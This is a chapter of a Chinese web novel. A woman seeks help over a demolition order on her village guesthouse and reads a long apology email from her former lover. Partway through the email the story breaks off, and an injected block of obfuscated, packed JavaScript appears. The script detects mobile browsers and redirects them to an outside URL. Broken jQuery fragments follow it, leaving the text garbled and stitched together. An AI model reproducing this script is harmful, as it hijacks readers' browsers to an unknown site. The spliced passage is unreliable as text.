47. 旧宾馆与长邮件

作品:《见山如晤

    *


    拿了CT报告,确认问题不大,尹昭陪韩慕柏打了石膏,借了轮椅,几个人在医院旁边的招待所里对付了一晚。


    次日一早,尹昭把瘸腿的韩慕柏送去了机场,他的朋友会在宁海接。


    韩慕柏顶着对黑眼圈坐在轮椅里。


    阿布叔热心解释,说他昨晚疼了整夜没睡好,韩慕柏欲言又止地瞥了一眼阿布叔,尹昭想起昨晚隔墙都听见的鼾声,立刻抢先说上飞机睡吧,上了飞机有的是时间睡。


    到了安检口,地勤小哥主动来接手轮椅。


    韩慕柏终于想起来说两句正事,提醒她搞定了违建的事也不要贸然复工,又说他和施工队协调过停工了,如果有问题,随时找他。


    尹昭都点了头,和阿布叔又回了村。


    工地上空无一人,未建成的楼被歪歪斜斜地拉了两三圈白绳,门还没安,违建清拆的条子就贴在了墙上。


    一堆建材被匆匆盖了布搁在楼外,遮得不严实,临近雨季,随时可能被雨淋湿。


    她走过去,踩着一角探出胳膊用力扯了扯对边,没太多用,顾得了东顾不了西。幸好昨天紧急拦了些货,不然这会儿堆得更多。


    施工队昨天被韩慕柏放了假,人都走了。


    工头李师傅倒还留在借住的村民家,撞见尹昭,就当面告了假,问她到底啥情况,后头什么打算。


    尹昭堆出笑,说是文旅那边有点误解,她已经在找人了,很快就能搞定,李师傅您赶紧趁这几天去轻松轻松,后头有的忙。


    阿布叔去找三婶,她去找了赵队长,问到了几个名字,盘算了下还是林校长——现在已经是教体局林主任了——最有戏。


    尹昭没再耽搁,揣了几块糌粑当干粮,就又开了那辆已半新不旧的皮卡上路回宗古。


    开到雅里雪山的山坳里时,油箱忽地报了警,信号也没了,想搜一下最近的加油站,手机屏白成一片什么也转不出来。


    天阴沉沉像随时会落雨,前后路上许久未见来车。


    只有大山、悬崖、乌云与她。


    尹昭一手不断尝试着点击刷新,一手打着方向盘往前开,全凭本能地切换油门与刹车,忽地又想起了那一年进山时的瓢泼大雨,大概有点疲劳驾驶了,恍恍惚惚感觉周牧白坐在副驾,在和她讲昭昭别怕。


    她想说我不怕。


    可她不能对周牧白撒谎。


    好在雪山保佑,她真的有好运气。


    转出那座山,就有了信号。


    最近的加油站不过十公里,尹昭绕了点路开过去,停进站内时恰好落下大雨,水珠噼里啪啦地砸地,听着痛也痛快。


    加完油,去小卖部买两瓶红牛,结账时瞥见柜台里的烟,想想就指了个眼熟的,大叔瞅她一眼,讲加油站不能抽。她愣了下,点头。


    雨太大了,天与地连成一片雾。


    行不了车,尹昭索性把车门彻底敞开,踩着门沿独坐了会。


    手里捏着那包烟,搞不懂自己怎么都快三十了还犯傻气,想学人抽烟解愁,还傻到花钱买了烟,都抽不成。烟酒与□□,她能想到的放纵也就这些了,看来是都不适合她。


    还是解决问题,更适合她。


    趁这会有空,她把没开封的烟丢进了手套箱,打了个电话:


    “请问是林振东林主任吗?您好您好,我是尹昭,以前宁海大学的,2011年在第五小学支过教,受过您不少关照。”


    “对对,最近在宗古,正想去拜访下您。”


    “没问题的,您忙完给我个电话就行,我时间都可以的。”


    等雨小了点,尹昭又出发了。


    到宗古时近天黑,在宾馆楼前的烟酒铺刚扫码结了账,她就接到林校长的电话,客气得很,还热情地问她住哪,说要来看她。


    尹昭赶忙拒了,拎了两瓶酒两条烟和一箱牛奶,去林校长家敲了门。


    门一开,林校长还是当年的老模样,红脸阔面,见了她就挠头笑,说没想到她还会再回来宗古这,又说她这些年都没怎么变,他一听名字就想起来了,对她印象深刻。


    尹昭递了烟酒,玩笑着说她那年给大家添了那么多麻烦,怕是没留什么好印象。


    林校长就叹她也不容易,又问她这几年怎么样。她笑笑讲,其实人人都不容易,自己过得还不错,挣了些钱,在禾洛村买了块地,想盖个楼回村里生活。


    林校长的妻子范老师也是个老熟人,长脸浓眉,看着严肃但热心肠。那年他们一碰到没热水、缺教具这些搞不定的难题就去找她。


    范老师端了茶水给她,听了就问她结婚了吗有?对象了吗?她摇摇头说没呢。范老师就皱了眉搁她身侧坐下,劝她日子还要过,人要往前走。尹昭捧着热茶笑,我知道的,这不是往前走碰到坎了,来找您帮忙了吗。


    听了她的事,林校长就给文旅局的朋友拨了电话,大抵她这事太细小,对方一时也不知详情,但应下了替她明晚约个饭局,尹昭连声道了谢方才告辞。


    范老师执意要送她下楼,拉着她的手,叹她一个宁大高材生回村里浪费了。


    许是宗古的月光太明亮,给了她勇气。


    尹昭这晚少见地吹了些没谱的牛,说自己在大城市里除了给自个儿挣钱,也没做出什么贡献,还不如那一年在乡里支教有成就感,若她真是个高材生,回村里也能发光发热。


    她一个人走回宾馆。


    宗古的夜晚很安静,不比宁海,永远有通宵达旦的热闹。除了月亮,这里的街道,连灯也亮不了几盏。


    宾馆供水不太稳定,洗一半没了热水,尹昭给前台电话,结果只有个小姑娘来修,自然是修不好,她拿毛巾包起还沾了泡沫的湿发,想起句屋漏偏逢连夜雨。


    她也不强求,冷水冲了冲,擦干头发,躺进宾馆不软和的棉被里,关灯闭眼,大脑皮层却还在惯性活跃着,睡不着,就随便看了会手机,等待睡意降临。


    手机里,元盛入股SinoBio的新闻在刷屏。SinoBio就是杨旻创立的那家公司。


    职业习惯作祟,明明已不关心了,尹昭却还是点进去看了眼。


    沈宥直接让SinoBio收购了Gtech,他一分钱没出,拿Gtech的股份换了等比例的SinoBio股份,RE则按四十亿估值增资入了股。


    至于钟院士,连签约仪式的合照中都未出现。尹昭很怀疑,按沈宥的性格,既然已拿了钟鼎违反忠实义务的把柄,说不定连一分钱现金对价都没分给他。


    看了想了,就不免心有余悸。


    撑着手肘支起半身,叠起枕头倚了上去,她在黑暗里犹豫良久,终还是把邮箱里躺了一天的红点,点开了。


    那是一封中文邮件,发件人沈宥,发件时间今早凌晨2:03。


    点开才发现,篇幅远比她预想的长许多。


    「昭昭,晚上好。


    我想你可能不会读我的微信,但邮件,你或许还是会乐意查收下,希望你不要读到这就点击右上角关闭。」


    尹昭立刻就移开了悬在返回键上的手指。


    她只是,不想让他一猜一个准。


    「即使你我再无往后,我也不愿你对我有误解,请给我最后一次解释的机会。


    今天你控诉了我一些事,我理解大抵是两项罪名。第一,我放任了姜媛对你的诬陷。第二,我利用权力限制了你的自由。对比,我不作无罪的辩护,因为我确有过错,也正在深切自责。我只是想再把事情的始末讲清楚些,以求得你更公正些的对待。」


    读这文字,就有点想笑,仿佛能看到这人是怎么坐在桌前愤愤不平地写邮件。


    哪怕在认错,用词再谦逊,字里行间依旧有嘴硬骨头也硬的傲慢。


    「我很早就爱上你了。可能是2013年第一次见你,也可能是2015年在黔州的时候。但认识到我在爱你这件事,有点晚了,大概得到2017年和你吵了架躲去勃朗峰的时候。


    我第一次爱人,搞不清楚状况,应该也算正常。


    勃朗峰回囯的路上,一想到马上能再见到你,就很开心。给你带那捧雪不怎么容易,拎了移动冰箱去山顶一路装回来的,但看你拿到后那么开心,就觉得什么都好了,也没去想你为什么会想要一捧勃朗峰的雪。


    起初只是好奇,在过年分开的日子里,我疯狂地在想念你,你有没有想念我一点,所以我去看了你的日记。我这一年最恨的事,就是你连日记都不肯好不好藏一藏,直接摊开在桌上。很糟糕。


    我该去直接找你对峙的,但我根本承受不来你不爱我这个结论的话,所以我没去。


    你还记得吗?那天,我本来在约你一起去瑞士,而后又临时通知你说我要出差半个月。你大概率是不记得了,因为你连我去哪出差都没问,也没给我来过一条微信。等我忍不住自己回到沉棠里,你只问我是最近很忙吗?怎么都没见到人?偏偏我都记得。


    那段时间,我在和你冷战,你有察觉吗?我接受了一些邀约,这或许给了姜媛错误的信号,成为一切的导火索。


    姜媛在群发邮件之前,来找过我,拿了你和贺琮的照片和一段录音。那张照片我自然不会信,但贺琮手上没有婚戒了,我很慌张。那段录音我也知道它可能被剪辑过,但亲耳听到你说你不会爱上我这样的人,也实在要命。我骂走了姜媛,可能惹恼了她,令她走了极端。


    其实她不必来找我的,不用她说,我也知道你不爱我。


    我想过找你聊一聊,可我也有我不肯低头的脾气,还没拿定注意,邮件的事就爆发了。


    我知道你的处境一定很糟糕,我的确也有够混账的,我甚至有一分半秒的窃喜,想你终于会来找我了。差一点,找我帮忙,或者好一点,主动和我解释下你和贺琮的事。


    我甚至在想,如果你需要,我们就直接公开关系,这样所有问题都不是问题了,我可以把你保护得很好。


    可我没等来你,最后等来的是贺琮的公开澄清,说你们只是好友,说他已经离婚了。于是我知道你不仅不爱我,甚至你出了事第一个会联系的人也不是我。我总忍不住想,你和贺琮会很登对。我知道我比不上贺琮。」</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336688|182306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    尹昭想,沈宥写完之后一定没再读过。


    他这哪是赔礼道歉,全是怨怼。


    「我死了大半的心,想放弃你,所以我停了元盛和你的合作,也回避一切你的消息。因此直到昨天,我才知道你被暂停过执业,以及君达他们傻逼地停了合作。


    非常抱歉。


    但请你相信,我当时完全没有任何利用权力来迫使你向我低头的想法。我远离你,只是因为我在想我该放弃你了。我想过很多次放弃你,但一直在出尔反尔。


    你被停业的那段日子,我应该在夏威夷休假,那里离雪山最远。我有听说你休假回了禾洛村,没多想,只当是你不想见我,或者和我一样也要散散心。这让现在的我非常懊悔。我总是错过爱你保护你的机会,明明我不想这样的。」


    屏幕上清晰的字迹忽地被放大又模糊。


    指腹匆匆抹去那点凉意,尹昭不知道自己在为什么难过。那段日子很难熬,但她以前没哭过。


    「夏威夷有阳光、沙滩和大海,但没能让我变好一点,甚至我心情最好的时刻,是张姨告知我你回沉棠里了。


    我当天就结束了休假,想回宁海见你。我想既然你还愿意回我们的家,至少我对你还有那么一点与众不同,会让你还想挽救。我本想直接回沉棠里,路上听小佟说你到了元盛,才又折去元盛见你。


    那天,我们在元盛说的话也真是牛头不对马嘴,都没法想是怎么说下去的。不过肯定是能说下去的,因为我在见到你的第一眼,就决定无论你说什么,都要抱住你了。


    我当时只想找一个你爱我的证据,忽略了太多你的想法。我完全没看明白,你当时是以为我因为你和贺琮的绯闻在惩罚你,还以为我在利用你打发姜媛以避开姜家的浑水,更没明白你不是来挽留,你是来谈判。


    如果那天我能冷静点,认真去听去想去解释,或许我们的处境会好很多。可我遇到你总是很容易会失控,也总想等你能有一点爱我了再去说爱你。


    这半年多来,我有慢慢感受到,你对我彻底失望了,只为了利益留在我身边,可我无法舍弃与你的关系,进与退都寸步难行。


    我开始劝自己接受你有一个挚爱的前男友或者白月光,并尝试说服自己,只看当下,我依然是你身边独一无二的那个人,哪怕你不爱我。只是我真没想到我只是个替代品,甚至是个被你用够了想扔了的替代品。


    但是昭昭,无论如何,我爱你。


    我爱你不庸俗的清醒,不掩饰的野心,不气馁的努力,和敢于不顾一切的勇气,也爱你和光同尘时咬着牙的那点清高,爱你的执着与坚定。所以连你爱他这件事,我也在爱着。


    这是一切罪责的源头。


    我想得到你,我不能失去你,而我没有本事用爱来吸引你,所以我只能用所有我拥有的东西来逼迫你强制你。


    但我绝对没有这样的故意,我只是被想靠近你的本能所驱使,甚至在你控诉我之前,我都没有意识到这一点,给你造成的伤害,我感到万分抱歉。」


    她读不下去了,看什么都是朦胧的,是很快就又看不清了的。


    只好把自己蜷起来,脸埋在被褥里。


    等被褥也湿了一小块,她才好一点。


    「最后,我必须要说明,这次你的民宿被认定违建要清拆的事,真的与我无关。


    但我的确知道一些线索,滇南在修改民宿旅游管理办法,有消息说要限制民宿的分布区域,我担心会影响到你,提前托了人打听,所以你才会在车上听到那通电话。


    我猜到你会误解,却怕一解释反惹得你忧心要走。在珠州的这几天是你施舍给我的最后时光了。我贪心,舍不得,却没想到一切竟会往最糟糕的方向发展,我还是连多留你一天都做不到。


    昭昭,你说道歉要改。我在改了。


    愿你以后在乔朗峰下过得开心自在,也愿你能再遇见一个比我和他都要更好一点的人。


    愿你此生再无遗憾,所愿皆顺遂。


    沈侑之


    2019年6月12日」


    尹昭没回复这邮件。


    这本就是封不必回复的邮件。


    她只是陷进枕头里,任枕头湿了又干。


    迷迷茫茫里耳边反复响起范老师今晚说的那一句人要往前走。


    七年多前,她们支教离开宗古时,也在一个差不多的宾馆睡过一晚,没门卡只靠钥匙锁门,热水断断续续,长廊的灯闪两下就灭。


    那时还有安婧陪着她住一间房,明明有两张床,却要挤在一块,她会抱着她讲,昭昭你得往前走,得找点事来做,得给自己找下一个目的地。


    她躺在安婧腿上,说她不想走,她只想留在有他的地方。安婧就揉她脸,讲那你挣够了钱再回来,这样至少不用每天吃白水煮鸡,也能让大家都住上和教学楼一样安全的房子。


    她记得自己说了好,然后转眼就是七年。


    兜兜转转,如今她又回了宗古。


    又躺在一间差不多老旧的宾馆。


    又要往前走,又要一个人上路了。